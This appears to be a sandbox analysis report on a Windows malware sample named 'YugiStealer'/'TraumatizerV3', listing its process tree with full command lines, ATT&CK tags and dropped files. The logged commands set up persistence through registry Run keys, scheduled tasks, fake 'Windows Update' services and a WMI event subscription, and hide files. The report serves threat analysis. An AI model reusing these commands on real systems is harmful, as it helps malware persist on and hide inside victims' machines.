C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\fGIYfO3r\TraumatizerV3.exe"C:\Windows\Temp\fGIYfO3r\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\fGIYfO3r\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WindowsUpdate.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
-
C:\Windows\Temp\csrss.exe"C:\Windows\Temp\csrss.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto"4⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"4⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f5⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"4⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f5⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\YOzUISh1\TraumatizerV3.exe"C:\Windows\Temp\YOzUISh1\TraumatizerV3.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"5⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs" >nul 2>&15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs"6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs" >nul 2>&15⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs"6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs" >nul 2>&15⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs"6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\YOzUISh1\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&15⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16836.bat"5⤵
-
C:\Windows\system32\cmd.execmd.exe6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&15⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"5⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&15⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&15⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16835.bat"5⤵
-
C:\Windows\system32\cmd.execmd.exe6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&15⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak6⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"4⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv5⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WINDOW~1.EXE1⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\0409\WindowsUpdate.exe"C:\Windows\System32\0409\WindowsUpdate.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Windows\SystemTemp\windows_update_task.xml /f2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask2⤵
-
-
C:\Windows\system32\sc.exesc delete WindowsUpdateService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.execmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""2⤵
-
C:\Windows\System32\sc.exesc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""2⤵
-
C:\Windows\System32\sc.exesc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"2⤵
-
C:\Windows\System32\sc.exesc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/50003⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"2⤵
-
C:\Windows\System32\sc.exesc config \"WindowsUpdateService\" obj= LocalSystem3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" type= own"2⤵
-
C:\Windows\System32\sc.exesc config \"WindowsUpdateService\" type= own3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\sc.exesc start WindowsUpdateService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\0409\WindowsUpdate.exe"C:\Windows\System32\0409\WindowsUpdate.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
SystemHealthMonitor.xml
__PSScriptPolicyTest_nkngumcr.a2k.ps1
hide_16819.bat
hide_16836.bat
hide_16857.bat
hide_1695.bat
windows_update_task.xml
YugiStealer.lnk
FartnutsTrauma.vbs
TraumatizerV3.exe
csrss.exe
memory/480-135-0x00007FF6A7680000-0x00007FF6A7CB4000-memory.dmp
memory/788-141-0x00007FF76A3F0000-0x00007FF76AA24000-memory.dmp
memory/1076-56-0x00007FF61F340000-0x00007FF61F974000-memory.dmp
memory/1160-103-0x00007FF794C10000-0x00007FF795244000-memory.dmp
memory/1176-104-0x00007FF6567D0000-0x00007FF656E04000-memory.dmp
memory/1404-95-0x00007FF625CF0000-0x00007FF626324000-memory.dmp
memory/1604-35-0x00007FF716AF0000-0x00007FF717124000-memory.dmp
memory/1744-605-0x0000022E7EC40000-0x0000022E7ECF2000-memory.dmp
memory/3208-14-0x00007FF797A80000-0x00007FF7980B4000-memory.dmp
memory/3564-65-0x000001ADC2C50000-0x000001ADC2C72000-memory.dmp
memory/3756-0-0x00007FF68EAB0000-0x00007FF68F0E4000-memory.dmp
memory/3852-7-0x00007FF625CF0000-0x00007FF626324000-memory.dmp
memory/4764-100-0x00007FF6CB700000-0x00007FF6CBD34000-memory.dmp
memory/4852-23-0x00007FF61B4F0000-0x00007FF61BB24000-memory.dmp
memory/5828-67-0x00007FF68EAB0000-0x00007FF68F0E4000-memory.dmp
memory/6528-262-0x00000271801E0000-0x00000271802E0000-memory.dmp
memory/6528-280-0x0000027193E80000-0x0000027193F80000-memory.dmp
memory/6528-311-0x0000027194700000-0x0000027194720000-memory.dmp
memory/6528-297-0x0000027183C80000-0x0000027183CA0000-memory.dmp
memory/6528-279-0x0000027183A20000-0x0000027183A40000-memory.dmp
memory/6556-461-0x000001D577B10000-0x000001D577B18000-memory.dmp
memory/6556-465-0x000001D577B50000-0x000001D577B5A000-memory.dmp
memory/6556-449-0x000001D577AD0000-0x000001D577ADA000-memory.dmp
memory/6556-446-0x000001D577D90000-0x000001D577E42000-memory.dmp
memory/6556-445-0x000001D577AE0000-0x000001D577AFE000-memory.dmp
memory/6556-462-0x000001D577B40000-0x000001D577B46000-memory.dmp
memory/6556-452-0x000001D577B20000-0x000001D577B3E000-memory.dmp
memory/6556-459-0x000001D577B60000-0x000001D577B7C000-memory.dmp
memory/6556-458-0x000001D577B00000-0x000001D577B0A000-memory.dmp
memory/6584-217-0x00007FF625CF0000-0x00007FF626324000-memory.dmp